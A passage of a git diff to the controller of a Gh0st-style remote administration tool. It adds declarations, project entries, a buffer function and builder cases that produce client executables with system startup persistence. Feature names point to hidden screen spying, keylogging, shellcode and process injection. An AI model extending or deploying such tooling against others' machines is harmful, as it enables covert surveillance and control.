MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
||||
|
||||
Binary file not shown.
+1717
-131
File diff suppressed because it is too large.
Load diff
@@ -6,6 +6,7 @@
|
||||
#include "TrueColorToolBar.h"
|
||||
#include "IOCPServer.h"
|
||||
#include <common/location.h>
|
||||
#include "common/commands.h"
|
||||
#include <map>
|
||||
#include <unordered_map>
|
||||
#include <mutex>
|
||||
@@ -75,6 +76,7 @@ class CSplashDlg; // 前向声明
|
||||
class CClientListDlg;
|
||||
class CLicenseDlg;
|
||||
class CSearchBarDlg;
|
||||
class CLogSearchBar;
|
||||
|
||||
#include "pwd_gen.h"
|
||||
|
||||
@@ -107,6 +109,13 @@ bool SupportsFileTransferV2(context* ctx);
|
||||
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
|
||||
UINT GetClientEncoding(context* ctx);
|
||||
|
||||
// 获取客户端「进程名/路径」编码 (CP_UTF8 或 936)。
|
||||
// 与 GetClientEncoding 不同:Windows 客户端的进程名/路径由 A 接口
|
||||
// (Process32FirstA / QueryFullProcessImageNameA 等)生成,恒为客户端系统
|
||||
// ANSI(简中=GBK/936),不随 CLIENT_CAP_UTF8 转 UTF-8;仅 LNX/MAC 走 UTF-8。
|
||||
// 与 McpServer::BuildListProcesses 的判定保持一致。
|
||||
UINT GetProcessListEncoding(context* ctx);
|
||||
|
||||
// 服务端待续传的传输信息
|
||||
struct PendingTransferV2 {
|
||||
uint64_t clientID;
|
||||
@@ -140,7 +149,9 @@ public:
|
||||
_ClientList *m_ClientMap = nullptr;
|
||||
CClientListDlg* m_pClientListDlg = nullptr;
|
||||
CLicenseDlg* m_pLicenseDlg = nullptr;
|
||||
CSearchBarDlg* m_pSearchBar = nullptr; // 搜索工具栏
|
||||
CSearchBarDlg* m_pSearchBar = nullptr;
|
||||
CLogSearchBar* m_pLogSearchBar = nullptr;
|
||||
bool m_bLogSearchVisible = false; // 日志搜索条是否显示(右键菜单切换)
|
||||
BOOL m_bEnableFileV2 = FALSE; // V2 文件传输开关
|
||||
|
||||
// 构造
|
||||
@@ -170,6 +181,9 @@ protected:
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
void SortByColumn(int nColumn);
|
||||
void ApplySort(); // 按偏好重排 m_HostList;无偏好时恢复默认顺序(上线先后)(调用方需持有 m_cs)
|
||||
void LoadSortPreference();
|
||||
void SaveSortPreference();
|
||||
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
template<class T, int id, int Show = SW_SHOW> LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
|
||||
@@ -209,6 +223,9 @@ public:
|
||||
VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
|
||||
CString ver, CString startTime, std::vector<std::string>& v, CONTEXT_OBJECT* ContextObject);
|
||||
VOID ShowMessage(CString strType, CString strMsg);
|
||||
// 消息中含 UTF-8(如地理位置)时使用:消息列经 LVM_SETITEMTEXTW 写宽字符串,
|
||||
// 避免 UTF-8 在 ANSI 日志列表里被按 GBK 显示成乱码(Böblingen → B枚blingen)。
|
||||
VOID ShowMessageW(const CStringW& strType, const CStringW& strMsg);
|
||||
VOID CreatStatusBar();
|
||||
VOID CreateToolBar();
|
||||
VOID CreateNotifyBar();
|
||||
@@ -226,9 +243,10 @@ public:
|
||||
// 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired)
|
||||
// expired=true 表示签名有效但已过期(可用于续期)
|
||||
// source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳)
|
||||
// sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr
|
||||
std::tuple<bool, bool, bool, bool> VerifyClientAuth(context* host, const std::string& sn,
|
||||
const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip,
|
||||
const char* source = "AUTH");
|
||||
const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr);
|
||||
BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m);
|
||||
void SendFilesToClientV2(context* mainCtx, const std::vector<std::string>& files, const std::string& targetDir = "");
|
||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||
@@ -322,6 +340,29 @@ public:
|
||||
void LoadThumbnailSettingsFromCfg(); // 从 THIS_CFG 读到 m_ThumbnailCfg
|
||||
void SaveThumbnailSettingsToCfg() const; // m_ThumbnailCfg 落盘到 THIS_CFG
|
||||
void TickThumbnailRefresh(); // TIMER_THUMBNAIL_REFRESH 主循环
|
||||
|
||||
// ===== 远程桌面质量等级配置(6 档 QualityProfile) =====
|
||||
// 主控端 UI 偏好,持久化走 THIS_CFG [quality] 节。服务端权威,经 CMD_QUALITY_PROFILES
|
||||
// 下发给客户端。仅 UI 线程访问;修改后需重开远程桌面会话才对新连接生效。
|
||||
QualityProfile m_QualityProfiles[QUALITY_COUNT];
|
||||
void LoadQualityProfilesFromCfg(); // 从 THIS_CFG 读到 m_QualityProfiles(缺省回落 GetQualityProfile)
|
||||
void SaveQualityProfilesToCfg() const; // m_QualityProfiles 落盘到 THIS_CFG
|
||||
const QualityProfile& GetQualityProfileCfg(int level) const; // 供 ScreenSpyDlg 下发用
|
||||
void OnQualityLevels(); // 高级→远程桌面质量等级
|
||||
|
||||
// ===== 屏幕预览质量等级配置(6 档 PreviewProfile) =====
|
||||
// 双击主机单发预览 / 循环快照浮窗所用。持久化走 THIS_CFG [preview] 节。
|
||||
// 仅 UI 线程访问;修改后下次发预览请求即生效。
|
||||
PreviewProfile m_PreviewProfiles[QUALITY_COUNT];
|
||||
void LoadPreviewProfilesFromCfg(); // 从 THIS_CFG 读到 m_PreviewProfiles(缺省回落 GetScreenPreviewProfile)
|
||||
void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
|
||||
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
|
||||
void OnPreviewLevels(); // 高级→屏幕预览质量等级
|
||||
|
||||
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
|
||||
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
|
||||
// 下载方向随 MasterSettings 下发(新连接登录即收到,改档后立即推送给在线客户端)。
|
||||
void OnFileTransferSpeed(); // 高级→文件传输速度
|
||||
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
||||
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
||||
void ClearThumbnailCacheEntry(uint64_t clientID);
|
||||
@@ -334,11 +375,26 @@ public:
|
||||
std::vector<int> m_PendingOffline; // 存储端口号
|
||||
CListCtrlEx m_CList_Online;
|
||||
CListCtrl m_CList_Message;
|
||||
// 消息/审计日志的线程安全镜像(供 MCP get_audit_log 工具读取)。m_CList_Message 是
|
||||
// CListCtrl、只能在 UI 线程访问,MCP 线程据此镜像读取。受 m_cs 保护,新在前、旧在后,
|
||||
// 与 CListCtrl 显示顺序一致(索引一一对应,便于删除同步)。
|
||||
struct LogMessage {
|
||||
std::string type; // 类型(操作成功/主机上线/主机下线…)
|
||||
std::string time; // 时间戳 "YYYY-MM-DD HH:MM:SS"
|
||||
std::string msg; // 内容
|
||||
};
|
||||
std::vector<LogMessage> m_MessageLog;
|
||||
CSplitterBar m_SplitterBar;
|
||||
int m_nSplitPos = 160; // 消息区高度(像素),可拖动调整
|
||||
std::vector<context*> m_HostList; // 虚拟列表数据源(全部客户端)
|
||||
std::unordered_map<uint64_t, size_t> m_ClientIndex; // clientID -> m_HostList 索引映射
|
||||
// 重复上线的替补连接:clientID -> 替补 context。
|
||||
// 网络抖动导致客户端用新连接重复上线时,不立即替换/关闭旧连接(否则会触发客户端
|
||||
// 反复重连抖动),而是把新连接暂存到这里;旧连接因心跳超时或断开被移除后,再取替补转正。
|
||||
std::unordered_map<uint64_t, CONTEXT_OBJECT*> m_StandbyHosts;
|
||||
std::vector<size_t> m_FilteredIndices; // 当前分组过滤后的索引列表
|
||||
int m_nSortColumn = -1; // 当前排序列,-1 表示未排序
|
||||
bool m_bSortAscending = true; // 排序方向(true=升序)
|
||||
std::set<std::string> m_GroupList;
|
||||
std::string m_selectedGroup;
|
||||
std::string m_v2KeyPath; // V2 密钥文件路径
|
||||
@@ -358,6 +414,9 @@ public:
|
||||
context* FindHostNoLock(int port); // caller must hold m_cs lock
|
||||
context* FindHostNoLock(uint64_t id); // caller must hold m_cs lock
|
||||
bool RemoveFromHostList(context* ctx); // 从 m_HostList 中移除并更新索引
|
||||
void AddToStandbyList(CONTEXT_OBJECT* ctx); // 重复上线:暂存替补连接(替换旧替补)
|
||||
void RemoveFromStandbyList(CONTEXT_OBJECT* ctx); // 连接断开时从替补列表移除(幂等)
|
||||
bool PromoteStandby(uint64_t clientID); // 旧连接移除后,取替补转正(需持有 m_cs);返回是否真的转正
|
||||
|
||||
CStatusBar m_StatusBar; //状态条
|
||||
ULONGLONG m_ullStartTime = 0; // 程序启动时间 (GetTickCount64)
|
||||
@@ -382,7 +441,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[60];
|
||||
CBitmap m_bmOnline[71];
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -467,6 +526,13 @@ public:
|
||||
// 由 m_cs 保护。
|
||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnChat();
|
||||
afx_msg void OnMachineManager();
|
||||
afx_msg void OnExperimentFileManager();
|
||||
afx_msg void OnExperimentPrivateScreen();
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnExperimentTlsEnable();
|
||||
afx_msg void OnExperimentTlsDisable();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
@@ -560,6 +626,10 @@ public:
|
||||
afx_msg void OnMsglogDelete();
|
||||
afx_msg void OnMsglogCopy();
|
||||
afx_msg void OnMsglogClear();
|
||||
afx_msg void OnMsglogSearch();
|
||||
afx_msg void OnMsglogLoginNotify();
|
||||
afx_msg void OnMsglogBanIP();
|
||||
afx_msg void OnMsglogUnbanIP();
|
||||
afx_msg void OnOnlineAddWatch();
|
||||
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnOnlineRunAsAdmin();
|
||||
@@ -593,6 +663,7 @@ public:
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnTriggerSettings();
|
||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
@@ -626,6 +697,9 @@ public:
|
||||
afx_msg void OnMasterTrail();
|
||||
afx_msg void OnCancelShare();
|
||||
afx_msg void OnWebRemoteControl();
|
||||
afx_msg void OnMcpSettings();
|
||||
afx_msg void OnTlsCertificate();
|
||||
afx_msg void OnConnectionManage();
|
||||
afx_msg void OnProxyPortAutorun();
|
||||
afx_msg void OnScreenpreviewLoop();
|
||||
afx_msg void OnMenuCompress();
|
||||
@@ -636,4 +710,10 @@ public:
|
||||
afx_msg LRESULT OnSplitterReleased(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnCopyClientInfo();
|
||||
afx_msg void OnOnlineActiveWnd();
|
||||
afx_msg void OnEnableDevDebug();
|
||||
afx_msg void OnOnlineClientLog();
|
||||
afx_msg void OnOnlineHistoryActivity();
|
||||
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnOnlineForbidden();
|
||||
};
|
||||
@@ -266,6 +266,7 @@
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<None Include="res\web\opus-decoder.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
@@ -290,6 +291,9 @@
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="BuildDlg.h" />
|
||||
<ClInclude Include="CClientListDlg.h" />
|
||||
<ClInclude Include="CClientLog.h" />
|
||||
<ClInclude Include="CActivityDialog.h" />
|
||||
<ClInclude Include="LogSearchBar.h" />
|
||||
<ClInclude Include="CDlgFileSend.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
<ClInclude Include="CGridDialog.h" />
|
||||
@@ -314,6 +318,7 @@
|
||||
<ClInclude Include="file\CFileTransferModeDlg.h" />
|
||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||
<ClInclude Include="HostInfo.h" />
|
||||
<ClInclude Include="HostJson.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="ZstaPickerDlg.h" />
|
||||
<ClInclude Include="IOCPKCPServer.h" />
|
||||
@@ -322,12 +327,16 @@
|
||||
<ClInclude Include="IPHistoryDlg.h" />
|
||||
<ClInclude Include="KeyBoardDlg.h" />
|
||||
<ClInclude Include="LangManager.h" />
|
||||
<ClInclude Include="McpServer.h" />
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
<ClInclude Include="TlsCertificateDlg.h" />
|
||||
<ClInclude Include="NetworkDlg.h" />
|
||||
<ClInclude Include="NotifyConfig.h" />
|
||||
<ClInclude Include="NotifyManager.h" />
|
||||
<ClInclude Include="NotifySettingsDlg.h" />
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="ShareHostDlg.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="PreviewTipWnd.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
@@ -342,7 +351,9 @@
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="SearchBarDlg.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="ServerTlsSession.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="ConnectionsDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="TerminalDlg.h" />
|
||||
@@ -371,6 +382,9 @@
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\client\Audio.cpp" />
|
||||
<ClCompile Include="CClientLog.cpp" />
|
||||
<ClCompile Include="CActivityDialog.cpp" />
|
||||
<ClCompile Include="LogSearchBar.cpp" />
|
||||
<ClCompile Include="msvc_compat.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
@@ -381,6 +395,10 @@
|
||||
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="HostJson.cpp" />
|
||||
<ClCompile Include="McpServer.cpp" />
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
<ClCompile Include="TlsCertificateDlg.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
@@ -442,6 +460,7 @@
|
||||
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||
<ClCompile Include="IOCPKCPServer.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="ServerTlsSession.cpp" />
|
||||
<ClCompile Include="IOCPUDPServer.cpp" />
|
||||
<ClCompile Include="IPHistoryDlg.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
@@ -450,6 +469,7 @@
|
||||
<ClCompile Include="NotifySettingsDlg.cpp" />
|
||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||
<ClCompile Include="FrpsForSubDlg.cpp" />
|
||||
<ClCompile Include="ShareHostDlg.cpp" />
|
||||
<ClCompile Include="Loader.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
@@ -469,6 +489,7 @@
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="SearchBarDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="TerminalDlg.cpp" />
|
||||
@@ -506,9 +527,15 @@
|
||||
<Image Include="res\Bitmap\AuthGen.bmp" />
|
||||
<Image Include="res\Bitmap\authorize.bmp" />
|
||||
<Image Include="res\Bitmap\Backup.bmp" />
|
||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
<Image Include="res\Bitmap\Debug.bmp" />
|
||||
<Image Include="res\Bitmap\delete.bmp" />
|
||||
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\EditGroup.bmp" />
|
||||
@@ -519,6 +546,7 @@
|
||||
<Image Include="res\Bitmap\GrayDesktop.bmp" />
|
||||
<Image Include="res\Bitmap\Help.bmp" />
|
||||
<Image Include="res\Bitmap\History.bmp" />
|
||||
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
||||
<Image Include="res\Bitmap\HostProxy.bmp" />
|
||||
<Image Include="res\Bitmap\Import.bmp" />
|
||||
<Image Include="res\Bitmap\ImportLicense.bmp" />
|
||||
@@ -537,7 +565,9 @@
|
||||
<Image Include="res\Bitmap\PEEdit.bmp" />
|
||||
<Image Include="res\Bitmap\Plugin.bmp" />
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||
@@ -560,7 +590,9 @@
|
||||
<Image Include="res\Bitmap\Wallet.bmp" />
|
||||
<Image Include="res\Bitmap\WebDesktop.bmp" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\ClientLog.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\connections.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
|
||||
@@ -21,6 +21,7 @@
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="ZstaPickerDlg.cpp" />
|
||||
<ClCompile Include="IOCPServer.cpp" />
|
||||
<ClCompile Include="ServerTlsSession.cpp" />
|
||||
<ClCompile Include="KeyBoardDlg.cpp" />
|
||||
<ClCompile Include="Loader.c" />
|
||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||
@@ -29,6 +30,7 @@
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="TerminalDlg.cpp" />
|
||||
@@ -76,6 +78,7 @@
|
||||
<ClCompile Include="NotifyManager.cpp" />
|
||||
<ClCompile Include="NotifySettingsDlg.cpp" />
|
||||
<ClCompile Include="FrpsForSubDlg.cpp" />
|
||||
<ClCompile Include="ShareHostDlg.cpp" />
|
||||
<ClCompile Include="NetworkDlg.cpp" />
|
||||
<ClCompile Include="IPHistoryDlg.cpp" />
|
||||
<ClCompile Include="FeatureLimitsDlg.cpp" />
|
||||
@@ -84,6 +87,13 @@
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
<ClCompile Include="HostJson.cpp" />
|
||||
<ClCompile Include="McpServer.cpp" />
|
||||
<ClCompile Include="McpSettingsDlg.cpp" />
|
||||
<ClCompile Include="TlsCertificateDlg.cpp" />
|
||||
<ClCompile Include="CClientLog.cpp" />
|
||||
<ClCompile Include="CActivityDialog.cpp" />
|
||||
<ClCompile Include="LogSearchBar.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\client\Audio.h" />
|
||||
@@ -121,6 +131,7 @@
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="ConnectionsDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="TerminalDlg.h" />
|
||||
@@ -146,6 +157,7 @@
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPUDPServer.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="ServerTlsSession.h" />
|
||||
<ClInclude Include="CDrawingBoard.h" />
|
||||
<ClInclude Include="IOCPKCPServer.h" />
|
||||
<ClInclude Include="..\..\common\ikcp.h" />
|
||||
@@ -163,6 +175,7 @@
|
||||
<ClInclude Include="CDlgFileSend.h" />
|
||||
<ClInclude Include="..\..\client\reg_startup.h" />
|
||||
<ClInclude Include="HostInfo.h" />
|
||||
<ClInclude Include="HostJson.h" />
|
||||
<ClInclude Include="CClientListDlg.h" />
|
||||
<ClInclude Include="context.h" />
|
||||
<ClInclude Include="CUpdateDlg.h" />
|
||||
@@ -174,6 +187,7 @@
|
||||
<ClInclude Include="NotifyManager.h" />
|
||||
<ClInclude Include="NotifySettingsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="ShareHostDlg.h" />
|
||||
<ClInclude Include="TerminalModuleLoader.h" />
|
||||
<ClInclude Include="..\..\common\SafeString.h" />
|
||||
<ClInclude Include="NetworkDlg.h" />
|
||||
@@ -188,6 +202,12 @@
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="PreviewTipWnd.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
<ClInclude Include="McpServer.h" />
|
||||
<ClInclude Include="McpSettingsDlg.h" />
|
||||
<ClInclude Include="TlsCertificateDlg.h" />
|
||||
<ClInclude Include="CClientLog.h" />
|
||||
<ClInclude Include="CActivityDialog.h" />
|
||||
<ClInclude Include="LogSearchBar.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc" />
|
||||
@@ -218,6 +238,7 @@
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<None Include="res\web\opus-decoder.min.js" />
|
||||
<None Include="..\web\index.html" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
@@ -250,6 +271,7 @@
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\connections.ico" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
@@ -327,5 +349,15 @@
|
||||
<Image Include="res\bitmap\uninstall.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
<Image Include="res\bitmap\ActiveWnd.bmp" />
|
||||
<Image Include="res\Bitmap\Debug.bmp" />
|
||||
<Image Include="res\ClientLog.ico" />
|
||||
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -337,3 +337,20 @@ VOID CBuffer::CommitWrite(ULONG writtenSize)
|
||||
m_Ptr += writtenSize;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
// 截断缓冲区到指定有效长度(仅回退写指针,不移动/释放底层内存)。有效长度指「当前读取
|
||||
// 位置之后的字节数」,与 GetBufferLength 一致;请求值超出现有有效长度时收敛到现有长度。
|
||||
VOID CBuffer::TruncateBuffer(ULONG effectiveLen)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (m_Base == NULL) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return;
|
||||
}
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG cur = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
if (effectiveLen > cur)
|
||||
effectiveLen = cur;
|
||||
m_Ptr = m_Base + m_ulReadOffset + effectiveLen;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
@@ -130,6 +130,11 @@ public:
|
||||
// 确认写入完成,更新内部指针
|
||||
VOID CommitWrite(ULONG writtenSize);
|
||||
|
||||
// 截断缓冲区到指定有效长度(仅回退写指针,不移动/释放底层内存)。用于「尾部明文替换为
|
||||
// 密文」:TLS 下 OutCompressedBuffer 追加明文后需换回密文,用此接口避免 ClearBuffer 的
|
||||
// DeAllocateBuffer 释放正在被异步 WSASend 引用的底层内存。
|
||||
VOID TruncateBuffer(ULONG effectiveLen);
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
PBYTE m_Ptr;
|
||||
|
||||
@@ -30,6 +30,8 @@ enum Index {
|
||||
IndexLinuxGhost,
|
||||
IndexMacGhost,
|
||||
IndexAndroidGhost,
|
||||
IndexGhostSystem,
|
||||
IndexTestRunSystem,
|
||||
OTHER_ITEM
|
||||
};
|
||||
|
||||
@@ -215,7 +217,7 @@ CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
, m_strPort(_T(""))
|
||||
, m_strFindden(FLAG_FINDEN)
|
||||
, m_sGroupName(_T("default"))
|
||||
, m_strEncryptIP(_T("是"))
|
||||
, m_strEncryptIP(_L(_T("是")))
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
@@ -493,6 +495,22 @@ void CBuildDlg::OnBnClickedOk()
|
||||
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
||||
break;
|
||||
}
|
||||
case IndexGhostSystem:
|
||||
file = "ghost.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
startup = Startup_GhostSystem;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||
break;
|
||||
case IndexTestRunSystem:
|
||||
file = "TestRun.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_MEMDLL;
|
||||
startup = Startup_TestRunSystem;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||
